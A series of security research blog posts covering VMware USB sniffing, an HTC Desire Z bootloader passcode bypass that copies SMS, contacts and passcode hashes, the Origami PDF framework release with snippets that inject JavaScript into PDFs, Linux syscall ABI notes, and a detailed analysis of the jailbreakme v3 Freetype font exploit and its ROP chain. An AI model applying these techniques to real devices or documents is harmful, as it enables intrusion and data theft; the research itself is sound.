Now, I know what "smsw rax" does in 64bits, and that changed my life. By the way, while testing this code we noticed a few bugs with some Ruby x64 packages. The Ruby process is flooded by rt_sigprocmask() syscalls and you need to recompile your Ruby to avoid that, like says here. If you dont, as soon as the child process enters SECCOMP mode, he is immediately killed ... Well, it was not designed to be SECCOMP safe =]

There is not a public release of an OllyDbg64 like for now. But, when I have to deal with x64 assembly this little script is convenient. Of course you can do the same on Windows, you just have to remove all the Linux-dependant things :]

Anyway, if you need to do some ASM hacks, Metasm is very convenient. I know it's Ruby but one day you have to evolve to use some real tools, and that is a big one. You can find the Ruby source, spoon.rb, attached to this post. Thanks a lot to @metasm for his help !

Have fun with Metasm !

Sniffing USB traffic with VMWare

$
0
0

VMWare offers the possibility to dump any usb traffic at the lowest level to a dump file.We'll describe here how to activate this feature, and additionally publish a script to convert the dump file to the PCAP format, suitable for use with wireshark.

Enable USB logging

VMWare can be configured to dump all the low-level USB traffic going to a given virtual machine to a file on the host.

This functionnality is activated through the addition of a few lines in the .vmx virtual machine control file :

monitor="debug"usb.analyzer.enable=TRUEusb.analyzer.maxLine=8192mouse.vusb.enable=FALSE

This will enable the log of the raw usb traffic to the vmware.log file, with the USBIO prefix.The maxline setting enables the full USB packet payload logging.

Once you start the virtual machine with these settings, beware that the log file may become very big quickly !

Analysing data

To make sense of the data gathered this way, a very good software is available : vsusb-analyser.

You can also refer to the project page for more information on the effects of the VMWare configuration elements.

As we were toying with the software, it appeared that the VMWare log format is not very compact or interoperable ; so we came around this limitation by writing a script that can convert the USB information back into a PCAP format.This way, we can watch the flow in Wireshark, or many other software.

It works pretty well for the data we tested it with, however please note that the PCAP format for USB is not very well documented, so ymmv.

download


Passcode bypass of the HTC Desire Z using an unexpected feature of the bootloader

$
0
0

Android devices are becoming increasingly present everywhere. iPhone security has been analyzed by researchers -- however this is more difficult for Android devices due to the diversity of vendors and devices: each model has its own characteristics and has a unique combination of hardware and software. What will be discussed here is an unexpected feature of the stock HTC Desire Z bootloader that allows an attacker to access any file on the device before the Linux operating system starts, bypassing the passcode protection entirely.

There is a great variety of Android devices from various manufacturers (HTC, Samsung, Motorola, etc.) and customised by numerous telecommunication operators (Orange, T-Mobile, etc.). Before loading the operating system (i.e. Android), these devices generally pre-load a bootloader. This bootloader is not open-source, contrary to the Android source code, and differs from one device to another. Some manufacturers implement a way for the end-user to interact with it using serial over USB. An example below of the available commands of an HTC Desire Z:

hboot>h

command list
keytest
heap
boot
reset
powerdown
rebootRUU
heap_test
rtask
task
enableqxdm
gencheckpt
list_partition_emmc
load_emmc
check_emmc
check_emmc_mid
read_emmc
get_wp_info_emmc
send_wp_info_emmc
get_ext_csd_emmc
get_sector_info_emmc

One command that got my attention is the read_emmc command.

hboot>read_emmc
command format: read_emmc [start] [#blocks] [#blocks/read] [show]

You can specify the starting offset with the number of blocks to read and it will basically display to you in hexadecimal format the bytes that are on your phone's flash. Below is the first sector that is actually a partition table.

hboot>read_emmc 0 1 1 1
reading sector 0 ~ 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
...
0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 0
0 0 4D 0 0 0 1 0 0 0 E8 3 0 0 0 0
0 0 45 0 0 0 E9 3 0 0 80 0 0 0 0 0
0 0 46 0 0 0 69 4 0 0 28 23 0 0 0 0
0 0 5 0 0 0 91 27 0 0 6E 58 45 0 55 AA
read sector done average = 583

The first idea that came to my mind is to dump the whole flash using this method but it is really slow. It took 6 hours to dump 10 MB so it will take approximatively 33 days to get 1,3 GB... So I decided to use FUSE (Filesystem in Userspace) to mount the user data partition remotely and get only the files I want. You basically have to implement those four functions: getattr, readdir, open and read.

The phone's filesystem becomes accessible through one device file, let's name it dev. Reads on this file will be proxied by FUSE over USB to the read_emmc implementation on the device.

hboot_fuse.png

Writes will not be implemented because we do not need them (and we do not have commands such as write_emmc :-(. Consequently, this dev file will have *read only* attributes.

# ls -l mnt
total 0
-r--r--r-- 1 root root 1232076288 1970-01-01 01:00 dev

We now have a virtual disk image that we are able to mount and get the files we are interested in:

# dd if=mnt/dev of=first_sector bs=512 count=1
# mount -o loop,ro -t ext2 mnt/dev mnt2
# cp mnt2/data/com.android.providers.telephony/databases/mmssms.db dump/
# cp mnt2/data/com.android.providers.contacts/databases/contacts2.db dump/

Finally, we are able to get the files storing the passcode information (as a numerical PIN code for example below) if the end-user defined one.

# cp mnt2/data/com.android.providers.settings/databases/settings.db dump/
# cp mnt2/system/password.key dump/

The salt is stored in the settings.db SQLite database. The passcode is simply stored in a hash form in password.key:

SHA-1(password|salt)|MD5(password|salt)

So it is easy to bruteforce from the computer once we get the file.

This basically shows how some devices may implement things or leave some doors open in a way that allows an attacker to bypass security protections...

Edit: source code is available in github.

Origami 1.0 released!

$
0
0

I am pleased to announce the first stable release of Origami, the PDF manipulation framework! A lot of new cool features has been added since the last beta and I consider the framework has become stable enough now. This release introduces the support for AES256 encryption/decryption, partial support for CCITTFax streams and TIFF predictors. Origami now also comes with a Ruby shell for inline usage and a set of command-line tools for PDF documents analysis.

What is Origami?

Origami is a framework for PDF documents manipulation written in pure Ruby. It can be used to analyze or create malicious PDF documents. Being written in Ruby, the core engine of Origami is totally scriptable and can be used for automated tasks on large sets of documents. A GTK graphical interface is also available for manually browsing through the inner objects of a PDF document. The philosophy behind Origami is the following:

  • Support for both reading and writing to PDF documents. Origami is able to create documents from scratch, read existing documents and modify them. Each new feature added must be compatible with reading and writing.
  • Handling a large subset of the PDF specification. Origami focuses on features from the PDF specification which can be used to obfuscate documents or provide offensive capabilities.
  • Being flexible and extensible. Origami can be used in many ways, even if you are new to the Ruby language.

Origami supports many advanced features of the PDF specification, such as:

  • Compression filters and predictor functions
  • Encryption
  • Digital signatures
  • Object streams
  • File attachments
  • AcroForms and XFA forms
  • PDF actions and annotations (including Flash)

Origami is open-source and distributed under the LGPL license.

New features

Here is the list of new features added in this version:

  • Support for AES256 encryption/decryption of documents.
  • Support for G3 unidimensional encoding/decoding of CCITTFax streams.
  • Support for TIFF predictor functions.
  • Enhanced support for Ruby 1.9.
  • Can now be installed as a gem.
  • Added methods for browsing pages and name trees.
  • Added a Ruby shell for quick document analysis.
  • Added a set of useful tools built upon Origami (pdfdecrypt, pdfencrypt, pdfdecompress, pdfextract, pdfmetadata, pdfcocoon, pdfcop, pdf2graph, pdf2ruby...)
  • Lots of bug fixes.

Installation

Origami can now be installed as a Ruby gem. If you have Rubygems installed, just run:

gem install origami

You can also directly fetch the latest development version using the Mercurial repository at GoogleCode:

hg clone https://origami-pdf.googlecode.com/hg/ origami

Usage

There are several ways to use Origami, depending on what you intend to do. If you are a novice about the PDF file format or Ruby, you can rely on the ready-to-run scripts or the GTK interface to discover PDF file structures. Advanced tasks can also be performed from the Origami shell or by writing custom Origami scripts.

Tools

The directory bin/ contains a set of useful Origami scripts which can instantly be used over PDF documents.

Document analysis

  • pdfdecompress: Strips out all compression filters from a document.
  • pdfdecrypt: Allows you to decrypt an existing document.
  • pdfcop: Automated engine for malicious documents analysis.
  • pdfmetadata: Extracts the metadata from a document.
  • pdfextract: Extracts scripts, fonts, streams, attached files from a document.

Document shielding

  • pdfencrypt: Allows you to encrypt an existing document.
  • pdfcocoon: Embeds a document into another one and makes it run when the top-level PDF is open.

Misc

  • pdf2graph: Generates a graph (DOT or GraphML) out of PDF objects.
  • pdf2ruby: Generates a Ruby script from a document, that Origami can recompile into the same original document.

Examples

Decrypting and decompressing an empty password encrypted document:

pdfdecrypt encrypted.pdf | pdfdecompress > plain.pdf

Encrypting a document with AES256 and embedding it into a sane document:

pdfencrypt -c aes -s 256 document.pdf | pdfcocoon > cocooned.pdf

Running an automated analysis on a suspicious document:

$ pdfcop malicious.pdf
PDFcop is running on target `malicious.pdf', policy = `standard'   File size: 142237 bytes   MD5: bd936ee3ba0b6dd467a2620f0d8275c7> Inspecting document structure...   . Encryption = YES> Inspecting document catalog...   . OpenAction entry = YES>> Inspecting action...> Inspecting JavaScript names directory...> Inspecting attachment names directory...> Inspecting document pages...>> Inspecting page...>> Inspecting page...>> Inspecting page...     .. Page has an action dictionary.>>> Inspecting action...       ... Found /JavaScript action. Document rejected by policy `standard', caused by [:allowJSAtOpening].

Quickly extracting metadata:

$ pdfmetadata rapportousacalipari.pdf
[*] Document information dictionary:Producer            : Acrobat Distiller 6.0 (Windows)_AuthorEmail        : robert.potter@iraq.centcom.milCreationDate        : D:20050430124604+04'00'Creator             : Acrobat PDFMaker 6.0 for WordTitle               : TABLE OF CONTENTSAuthor              : richard.thelinModDate             : D:20050430233208+02'00'_AdHocReviewCycleID : -553148013_EmailSubject       : Another Redact Job For YouSourceModified      : D:20050430084305Company             : USCENTCOM_AuthorEmailDisplayName: Potter Robert A COL MNFI STRATCOM[*] Metadata stream:MetadataDate        : 2005-04-30T23:32:08+02:00Producer            : Acrobat Distiller 6.0 (Windows)ModifyDate          : 2005-04-30T23:32:08+02:00CreateDate          : 2005-04-30T12:46:04+04:00title               : TABLE OF CONTENTScreator             : richard.thelinCreatorTool         : Acrobat PDFMaker 6.0 for Word

Graphical interface

You can quickly browse PDF objects using the GTK interface. For this you will need the gtk2 gem installed:

gem install gtk2

Then you just run:

pdfwalker

PDF

Just a hint for quick browsing: double-clicking on an object reference makes you go forward to the desired object. Use ESC to go back to your previous location.

Shell

The shell offers a classic Ruby shell with Origami namespace being automatically included. With some knowledge about the Origami API, it is possible to perform quick tasks on a PDF document. The following session uncovers the presence of a document nested into another.

$pdfsh# Welcome to the PDF shell (Origami release 1.0.2)>>>pdf=PDF.read('malicious.pdf')>>>pdf.ls_names(Names::Root::EMBEDDEDFILES){(metadata.pdf)=>480R}>>>pdf[48]480obj<</EF <<                /F490R>>/F (metadata.pdf)        /Type/Filespec>>endobj>>> pdf[49].classOrigami::Stream>>> pdf[49]0000000000  25 50 44 46 2D 31 2E 35 0A 25 D4 C0 BC 8F 0A 31  %PDF-1.5.%.....10000000010  20 30 20 6F 62 6A 20 0A 3C 3C 0A 2F 50 61 67 65   0 obj .<<./Page0000000020732032203020520A2F54797065202F43s20R./Type/C0000000030  61 74 61 6C 6F 67 0A 2F 4F 70 65 6E 41 63 74 69  atalog./OpenActi00000000406F6E203131203020520A2F4163726F46on110R./AcroF>>>File.open('nested.pdf','w'){|f|f.writepdf[49].data}

Infecting a document in one-line:

>>>PDF.read('sane.pdf').onDocumentOpen(Action::JavaScript.new(gets)).save('infected.pdf')

Scripting

The full potential of the Origami framework can be exploited using custom Ruby scripts. Origami scripts can be used to generate exploits, automate complex tasks over a set of documents, etc. Details about the Origami API can be found in the RDoc documentation, the Origami cheatsheet or by looking at the sample scripts located in the samples/ directory. The following little script simply adds an action to each page of a given document. Each time a page is opened, the PDF reader is instructed to jump to the next page, thus making the document endlessly scrolling.

#!/usr/bin/env rubyrequire'origami'includeOrigamipdf=PDF.read(ARGV[0],:verbosity=>Parser::VERBOSE_QUIET)pages=pdf.pagespages.eachdo|page|page.onOpen(Action::Named.new(Action::Named::NEXTPAGE))unlesspage==pages.lastendpages.last.onOpen(Action::Named.new(Action::Named::FIRSTPAGE))pdf.save("looping.pdf")

This other example will read a given document, add a JavaScript to execute at run-time and will save it as encrypted (with an empty password).

#!/usr/bin/env rubyrequire'origami'includeOrigamiEXPLOIT=<<JSapp.alert("Your malicious exploit here")JSpdf=PDF.read(ARGV[0])stream=Stream.new(EXPLOIT,:Filter=>:FlateDecode)pdf.pages.first.onOpenAction::JavaScript.new(stream)pdf.encrypt.save('malicious.pdf')

Suggestions / bug reports

You can contact me at origami(at)security-labs.org for any questions or remarks. Please report issues on the GoogleCode project page.

Linux syscall ABI

$
0
0

A quick post to summarize the linux kernel syscall ABI on i386 architecture.

It is hard to come by a short summary of how to do direct syscalls under the linux kernel. This does not intend to be exhaustive nor authoritative, but at least now I'll have something to bookmark :)

Linux kernel - X86

int 80h

The kernel abi allows up to 6 register arguments

valuestorage
syscall nreax
arg 1ebx
arg 2ecx
arg 3edx
arg 4esi
arg 5edi
arg 6ebp

After the syscall, the return value is stored in eax, and execution continues after the int 80h instruction. All other register values are preserved.

Ex:

moveax,__NR_writemovebx,1movecx,string_labelmovedx,string_lengthint80hret

sysenter

I think this instruction is specific to Intel CPUs.

valuestorage
syscall nreax
arg 1ebx
arg 2ecx
arg 3edx
arg 4esi
arg 5edi
arg 6dword ptr [ebp]

Due to the CPU design, after the syscall execution resumes at a fixed address, which under linux is defined at boot to be somewhere in the vdso.

The kernel restores esp to the value ebp had during sysenter, and jumps to the following code :

popebppopedxpopecxret

This means that after the syscall, the situation is:

final valuevalues at sysenter
eaxsyscall return value
eipdword ptr [ebp+12]
ecxdword ptr [ebp+8]
edxdword ptr [ebp+4]
ebpdword ptr [ebp]
espebp+16

Ex:

moveax,__NR_writemovebx,1movecx,string_labelmovedx,string_lengthpushsyscall_retsubesp,12movebp,espsysenterud2syscall_ret:ret

I'm not sure how all this would work in the event of a sys_restart.

Also note that ebp must point to valid memory, even if the syscall does not return nor uses stack arguments (e.g. __NR_exit)

syscall

This instruction is specific to AMD CPUs.

I was not able to test this one, which I believe to be similar to sysenter, except that syscall saves its return address, so the kernel resumes execution right after the syscall instruction instead of the fixed vdso address.

gs:[10h]

The correct way to make a syscall under linux is to use the vdso trampoline, that the kernel will initialize with the correct opcode sequence for your CPU.

The ABI is the same as the int 80h one.

Note that the glibc loader is responsible for setting up gs:10h, the kernel will *not* do that on its own. The dynamic loader ld-linux.so initializes this pointer using set_thread_area() with the vdso base address found in the auxiliary vector at the process entrypoint.

Ex:

moveax,__NR_writemovebx,1movecx,string_labelmovedx,string_lengthcallgs:[10h]ret

Linux kernel - x64 (aka X86_64, amd64)

syscall

Both AMD and Intel use the syscall instruction.

valuestorage
syscall nrrax
arg 1rdi
arg 2rsi
arg 3rdx
arg 4r10
arg 5r9
arg 6r8

Execution resumes after the syscall instruction, with the return value in the rax register.

rcx and r11 values are not preserved across the syscall, all others are.

Ex:

mov rax, __NR_write
mov rdi, 1
mov rsi, string_label
mov rdx, string_length
syscall
ret

int 80h

On kernels compiled with the 'CONFIG_IA32_EMULATION' feature, X64 code can call legacy 32-bit syscalls using int 80h.

The ABI is the same as for x86 (arg 0 in ebx, ...)

Note that this mode can not reference memory above 0xffffffff, and that the syscall number stored in eax is the X86 one.

sysenter

It is possible to use the sysenter instruction in X64 binaries, but I dont know the ABI here. The kernel seems to segfault every time, and I did not investigate more.

To be continued !

Analysis of the jailbreakme v3 font exploit

$
0
0

Two weeks ago, comex released the third version of jailbreakme. Two exploits are used to jailbreak Apple devices by opening a PDF file in the MobileSafari browser: initial code execution is obtained through a vulnerability in the Freetype Type 1 font parser, allowing subsequent exploitation of a kernel vulnerability to disable code signing enforcement, get root privileges and "install" the jailbreak. The same kernel vulnerability is also exploited at each reboot to provide an untethered jailbreak, using the Incomplete Codesign technique to bootstrap the kernel exploit. The two vulnerabilities (and another Freetype vulnerability not used by jailbreakme) were patched with the release of iOS 4.3.4.

The vulnerability (CVE-2011-0226) is located in the interpreter for Type 1 font programs. Vector font formats like Adobe Type 1 use small interpreted programs to render characters outlines at different sizes. In Freetype the t1_decoder_parse_charstrings function is responsible for executing such programs (called charstrings).

To start our analysis we need to extract the font from the jailbreakme PDF file, we can do this using Origami :

require"origami"includeOrigamipdf=PDF.read("iPhone_4.3.3_8J2.pdf")data=pdf.get_object(12).dataFile.open("jbmev3_t1font.bin","wb"){|f|f.write(data)}

In order to disassemble the charstrings contained in the font, I could not get t1disas to work so I wrote a minimal Python script to disassemble Type 1 opcodes. The Type 1 specification is available on Adobe's website.It is not necessary to understand everything about fonts and font programs, we just need to figure out the primitives used in the exploit and their effects on the interpreter state. The main structure used by the interpreter is T1_DecoderRec, defined in include/freetype/internal/psaux.h :

//sizeof T1_DecoderRec = 0x5dctypedefstructT1_DecoderRec_{T1_BuilderRecbuilder;//offsetof stack = 0x70//T1_MAX_CHARSTRINGS_OPERANDS = 256FT_Longstack[T1_MAX_CHARSTRINGS_OPERANDS];//offsetof top = 0x470FT_Long*top;//stack pointer//offsetof zones = 0x474T1_Decoder_ZoneReczones[T1_MAX_SUBRS_CALLS+1];{FT_Byte*cursor;FT_Byte*base;FT_Byte*limit;}T1_Decoder_Zonezone;//current zoneFT_Service_PsCMapspsnames;FT_UIntnum_glyphs;FT_Byte**glyph_names;FT_IntlenIV;FT_UIntnum_subrs;//offsetof subrs = 0x558FT_Byte**subrs;FT_PtrDist*subrs_len;FT_Matrixfont_matrix;FT_Vectorfont_offset;FT_Intflex_state;FT_Intnum_flex_vectors;FT_Vectorflex_vectors[7];PS_Blendblend;//offsetof hint_mode = 0x5BCFT_Render_Modehint_mode;//offsetof parse_callback = 0x5c0T1_Decoder_Callbackparse_callback;//offsetof funcs = 0x5c4T1_Decoder_FuncsRecfuncs;{FT_Error(*init)(T1_Decoderdecoder,FT_Faceface,FT_Sizesize,FT_GlyphSlotslot,FT_Byte**glyph_names,PS_Blendblend,FT_Boolhinting,FT_Render_Modehint_mode,T1_Decoder_Callbackcallback);void(*done)(T1_Decoderdecoder);FT_Error(*parse_charstrings)(T1_Decoderdecoder,FT_Byte*base,FT_UIntlen);}//offsetof buildchar = 0x5d0FT_Long*buildchar;//offsetof len_buildchar = 0x5d4FT_UIntlen_buildchar;//offsetof seac = 0x5d8FT_Boolseac;}T1_DecoderRec;

The main memory locations available to a legitimate font program and used by the exploit are :

  • the operand/result stack (decoder->stack). This stack grows "up".
  • two variables : x and y (local variables in t1_decoder_parse_charstrings)
  • the decoder->buildchar array

The buildchar array is actually defined and initialized (all zeroes) by the /BuildCharArray command in the font. Its size is set to 0x30000.

The vulnerable code and the main idea behind comex's exploit were mentioned by windknown on twitter : a missing check on the arg_cnt parameter for the callothersubr operation allows a malicious font program to move the interpreter stack pointer outside of its bounds, providing read and write access to various fields of the T1_DecoderRec structure (and the "real" stack since this structure is a local variable of the T1_Load_Glyph function).

The jailbreakme font program uses this vulnerability to read the decoder->parse_callback field (and a few others), construct a ROP payload in the decoder->buildchar array, and execute this payload by overwriting decoder->parse_callback and triggering a call to this function pointer. The following primitives are used to program the interpreter (the "weird machine") :

  • push instructions : write constant value on the interpreter stack. The stack pointer is checked before use.
  • op_setcurrentpoint : read 2 dwords from the stack into variables x and y. This operation does not check the stack pointer.
  • callothersubr #00 : write the x and y variables on the stack. This operation does not check the stack pointer but has preconditions : decoder->flex_state != 0 && decoder->num_flex_vectors == 7. The argument count for this routine is 3 but only the first 2 parameters are used (overwritten with x and y).
  • callothersubr #42 : calls an invalid subroutine with a negative argument count to bring the stack pointer beyond the stack area. This is the vulnerability that makes the exploit work.
  • op_hstem3, op_hmoveto, op_unknown15 instructions to "bring down" the stack pointer back into its bounds
  • callothersubr #12 : reset the stack pointer (top = decoder->stack)
  • callothersubr #20 and #21 : add/subtract values on the stack
  • callothersubr #23 and #24 : read/write dwords in the buildchar array.

The PDF document contains a single page with the @ (at) character, using the malicious font. The /at font program will be run to render this character, this is the entry point of the exploit. 10 subroutines are also defined in the font and used by the /at font program :

  • subroutine 0 : "fake" subroutine, contains a zlib compressed mach-o binary that is dropped in /tmp/locutus and run by the ROP payload once the kernel exploit is done
  • subroutine 1 : empty (op_return)
  • subroutine 2 : exit interpreter (op_endchar)
  • subroutine 3 : calls callothersubr #01 to set decoder->flex_state=1 and executes callothersubr #02 seven times to set decoder->num_flex_vectors=7 : this routine sets the preconditions for the "write variables to stack unchecked" primitive (callothersubr #00)

Subroutines 4 to 7 are the primitives for the ROP payload construction :

  • subroutine 4 : write dword, increments index
    • subr4(param) => buildchar[buildchar[3]++] = param
  • subroutine 5 : write gadget/function address with ASLR offset (shared cache slide)
    • subr5(param) => subr4(param + buildchar[1]) = subr4(param + shared_cache_slide)
  • subroutine 6 : write dword + stack offset (used to get subroutine 0 address and restore the stack pointer once the ROP payload is done)
    • subr6(param) => subr4(param + buildchar[0]) = subr4(param + &decoder->zones[0])
  • subroutine 7 : write dword + buildchar array base (for "local" variables used by the ROP payload)
    • subr7(param) => subr4(param + buildchar[2]) = subr4(param + &buildchar[0])

Subroutines 8 & 9 are responsible for writing a ROP payload to the buildchar array : they contain some initialization code (described shortly hereafter), followed by a sequence of calls to subroutines 4,5,6 and 7.

Here is the annotated disassembly of the /at font program start :

--------------------------------------------------------------------------------
File: at.bin                        SHA1: 49b6ea93254f9767ad8d314dd77ecb6850f18412
--------------------------------------------------------------------------------
0x00000000  8e      push 0x3
0x00000001  8b      push 0x0
0x00000002  0c 21   op_setcurrentpoint              ; x=0x3; y=0x0
0x00000004  8e      push 0x3
0x00000005  0a      callsubr #03                    ; subr_enable_endflex
0x00000006  fb ef   push 0xfea50000
0x00000008  b5      push 0x2a
0x00000009  0c 10   callothersubr #42 nargs=-347;top=&decoder->seac + 4
0x0000000b  0c 10   callothersubr                   ; #00 (decoder->seac) nargs=3 (decoder->len_buildchar >> 16)
                                                ; endflex : top[0]=x; top[1]=y; top += 2
                                                ; decoder->funcs.done = x  = 0x30000 (0x3 << 16)
                                                ; decoder->funcs.parse_charstrings = y = 0x0
0x0000000d  16      op_hmoveto                      ; top -= 1; x += top[0]
0x0000000e  16      op_hmoveto                      ; top -= 1; x += top[0]
0x0000000f  16      op_hmoveto                      ; top -= 1; x += top[0]
0x00000010  0c 21   op_setcurrentpoint              ; top -= 2; x=decoder->hint_mode=0; y=decoder->parse_callback
0x00000012  0c 02   op_hstem3                       ; top -= 6
0x00000014  0c 02   op_hstem3                       ; top -= 6
0x00000016  0c 02   op_hstem3                       ; top -= 6
0x00000018  0c 02   op_hstem3                       ; top -= 6
0x0000001a  0c 02   op_hstem3                       ; top -= 6
0x0000001c  0c 02   op_hstem3                       ; top -= 6
0x0000001e  0c 02   op_hstem3                       ; top -= 6
0x00000020  0c 02   op_hstem3                       ; top -= 6
0x00000022  0c 02   op_hstem3                       ; top -= 6
0x00000024  0c 02   op_hstem3                       ; top -= 6
0x00000026  0c 02   op_hstem3                       ; top -= 6
0x00000028  0c 02   op_hstem3                       ; top -= 6
0x0000002a  0c 02   op_hstem3                       ; top -= 6
0x0000002c  0f      op_unknown15                    ; top -= 2 (/* nothing to do except to pop the two arguments */)
0x0000002d  0f      op_unknown15                    ; top -= 2 (/* nothing to do except to pop the two arguments */)
0x0000002e  16      op_hmoveto                      ; top -= 1; x += decoder->zone => x = &decoder->zones[0]
0x0000002f  0c 02   op_hstem3                       ; top -= 6
0x00000031  0c 02   op_hstem3                       ; top -= 6
0x00000033  8e      push 0x3
0x00000034  0a      callsubr #03                    ; subr_enable_endflex
0x00000035  8b      push 0x0
0x00000036  8b      push 0x0
0x00000037  8b      push 0x0
0x00000038  8e      push 0x3
0x00000039  8b      push 0x0
0x0000003a  0c 10   callothersubr #00 nargs=3       ; endflex : top[0]=x; top[1]=y; top += 2
0x0000003c  8c      push 0x1
0x0000003d  8d      push 0x2
0x0000003e  a3      push 0x18
0x0000003f  0c 10   callothersubr #24 nargs=2       ; decoder->buildchar[1] = y = decoder->parse_callback = T1_Parse_Glyph
0x00000041  8b      push 0x0
0x00000042  8d      push 0x2
0x00000043  a3      push 0x18
0x00000044  0c 10   callothersubr #24 nargs=2       ; decoder->buildchar[0] = x = &decoder->zones[0]

The program starts by initializing the variables x and y to the values 0x3 and 0x0. The instruction callothersubr #42 nargs=-347 exploits the bug to move the stack pointer at the end of the T1DecoderRec structure, right after the seac field, which is set to 0 when the structure is initialized. The length of the buildchar array was set to 0x30000, which is chosen specifically to make the len_buildchar and seac fields look like the "stack frame" for the callothersubr #00 primitive (0x30000 is 0x3 encoded in the 16.16 fixed point format used by the interpreter). Hence, the following callothersubr instruction (at offset 0xb) will write the x and y values over the funcs.done and funcs.parse_charstrings fields. This overwrite is a preparatory step for the end of the font program, where the parse_callback field is overwritten using the same primitive.

The stack pointer is then decremented by 3 op_hmoveto instructions to point to the funcs field (right after the parse_callback field). The following op_setcurrentpoint operation will read the hint_mode and parse_callback fields into the x and y variables. The stack pointer is then decremented back in the stack area to allow the next instructions to run without errors. In the process, the value of the zone field (which points to zones[0]) is also read into the x variable by the op_hmoveto instruction at offset 0x2e (it is added to the hint_mode value which is 0). The x and y variables are then pushed onto the stack (using the subroutine #03 to enable callothersubr #00), and stored in buildchar[0] and buildchar[1].The next sequence, starting at offset 0x46 with callothersubr #42 nargs=-151 follows the same pattern : it reads the decoder->buildchar pointer and stores it in buildchar[2].

Next, the value 0x7918 is written to buildchar[3] : this will be used as the index for the ROP payload building routine. This leaves 0x7918 * 4 bytes for the stack frames of functions called by the ROP payload.

Another value is also leaked using callothersubr #42 nargs=-152 and stored in buildchar[4], this is the value of the __gxx_personality_sj0 symbol stored on the stack frame of the calling function FT::font::load_glyph.Because the User-Agent field only identifies iPhone/iPad/iPod and firmware version, but not the specific model (i.e iPhone 3GS or iPhone 4), the font program contains multiple ROP building subroutines. The correct function is chosen by comparing the difference between __gxx_personality_sj0 and T1_Parse_Glyph. Since the two symbols are located in different shared libraries (libstdc++.6.dylib and libCGFreetype.A.dylib) and because the order of those libraries in the shared cache is different for the same firmware version on different devices (see Stefan Esser's talk at POC 2010), this delta identifies the device (thanks to comex for explaining this part).

The payload building subroutine number for the identified device is then pushed on the stack using conditional instructions (callothersubr #27). Depending on the device, subroutine 8 or 9 will be called.

The ROP building subroutine starts by subtracting the default T1_Parse_Glyph address from the one leaked in buildchar[1]. Now buildchar[1] contains the shared cache slide (see Stefan Esser's talk at HITB AMS 2011), which will be used by subroutine 5 to adjust the gadgets addresses written to the ROP stack and successfully bypass ASLR.Then, the address of a gadget (scale_QT+254) is computed and placed in the y variable using op_setcurrentpoint. After that, the ROP payload is constructed dword by dword, using subroutines 4,5,6 and 7. Some values that cannot be encoded directly in push operations are computed using the subtract operation.

Once the ROP payload building is done, the \\at routine recopies the first 7 dword values from the constructed ROP stack onto the decoder stack. These 7 values will be used to perform the stack pivot to the "main" ROP stack stored in the buildchar array. The last step is to overwrite decoder->parse_callback with the y variable contents. It is now that the funcs.done and funcs.parse_charstrings values make sense : the callothersubr #42 nargs=-337 (at offset 0x167) brings the stack pointer at the end of the decoder->funcs structure, whose fields were modified to be 0x30000 and 0x0, so the next callothersubr instruction calls the write primitive (callothersubr #00), that will overwrite the parse_callback field with the gadget address stored in the y variable.

Finally, the font program ends with the op_seac instruction, that triggers the following calls:

  • t1operator_seac (this function is actually inlined in t1_decoder_parse_charstrings)
  • t1_decoder_parse_glyph
  • decoder->parse_callback() that will initiate the stack pivot

The overall operation of the font exploit can be summarized by the following pseudocode :

at_pseudocode{//required for decoder->parse_callback = y at the enddecoder->funcs.done=0x30000// (0x3 << 16)decoder->funcs.parse_charstrings=0x0//leak members of the decoder structure and store them at the start of decoder->buildchary=decoder->parse_callback=T1_Parse_Glyphx=&decoder->zones[0]decoder->buildchar[1]=y=T1_Parse_Glyphdecoder->buildchar[0]=x=&decoder->zones[0]y=decoder->buildchardecoder->buildchar[2]=y=decoder->buildchary=__gxx_personality_sj0decoder->buildchar[3]=0x7918//exit (subr 2) on ARMv6 devices, where T1_Parse_Glyph is not compiled in thumb//otherwise call subr3//callsubr 2 + T1_Parse_Glyph % 2callsubr(2+((decoder->buildchar[1]/2)*2))//detect exact devicedecoder->buildchar[4]=y-decoder->buildchar[1]=__gxx_personality_sj0-T1_Parse_Glyph//this does not match the disassembly, but this is the ideaif(decoder->buildchar[4]==0xff2ab38b)rop_build_subr=8//iphone 3gselse//if( decoder->buildchar[4] == 0xfff5a38b)rop_build_subr=9//iphone 4callsubrrop_build_subr{//compute ASLR slidedecoder->buildchar[1]-=T1_Parse_Glyph_default_addry=gadget1-decoder->buildchar[1]//... build rop payload with subroutines 4,5,6,7}//recopy stack pivot ROP chaindecoder->stack[0]=buildchar[0x7918]decoder->stack[1]=buildchar[0x7919]decoder->stack[2]=buildchar[0x791a]decoder->stack[3]=buildchar[0x791b]decoder->stack[4]=buildchar[0x791c]decoder->stack[5]=buildchar[0x791d]decoder->stack[6]=buildchar[0x791e]decoder->parse_callback=y//op_seac => initiate stack pivotdecoder->parse_callback()}

At this point, we can attach gdb to MobileSafari and set a breakpoint in t1_decoder_parse_glyph to see the transfer to the ROP payload :

Breakpoint 1, 0x33ce83b0 in t1_decoder_parse_glyph ()(gdb) bt
#0  0x33ce83b0 in t1_decoder_parse_glyph ()#1  0x33ce99b0 in t1_decoder_parse_charstrings ()#2  0x33cda63c in T1_Parse_Glyph_And_Get_Char_String ()#3  0x33cda966 in T1_Load_Glyph ()#4  0x33cd1b2c in FT_Load_Glyph ()#5  0x33cc7332 in FT::font::load_glyph ()#6  0x33cc9fce in FT::path_builder::build_path_for_glyph ()#7  0x33cca41a in FT::path_builder::create_path_for_glyph ()#8  0x33ccd4de in (anonymous namespace)::create_glyph_path ()#9  0x31e9dfac in CGFontCreateGlyphPath ()
...
#58 0x329b0806 in UIApplicationMain ()#59 0x000d01dc in ?? ()(gdb) x/3i $pc
0x33ce83b0 <t1_decoder_parse_glyph+4>:  ldr.w   r3, [r0, #1472]
0x33ce83b4 <t1_decoder_parse_glyph+8>:  blx     r3  ;return decoder->parse_callback()
0x33ce83b6 <t1_decoder_parse_glyph+10>: pop     {r7, pc}(gdb) si 2
0x32e14f4a in scale_QT ()(gdb) x/2i $pc
0x32e14f4a <scale_QT+254>:      add     sp, #320
0x32e14f4c <scale_QT+256>:      pop     {r4, r5, pc}(gdb) si
0x32e14f4c in scale_QT ()(gdb) x/8x $sp;sp=&decoder->stack[0]
0x2fec9760:     0x00000000      0x00000000      0x305a0cbd      0x03a36478
0x2fec9770:     0x305a38fd      0x00000000      0x00000000      0xfeaf0000
(gdb) si
0x305a0cbc in TICandQualityFilter_fr::TICandQualityFilter_fr ()(gdb) x/i $pc
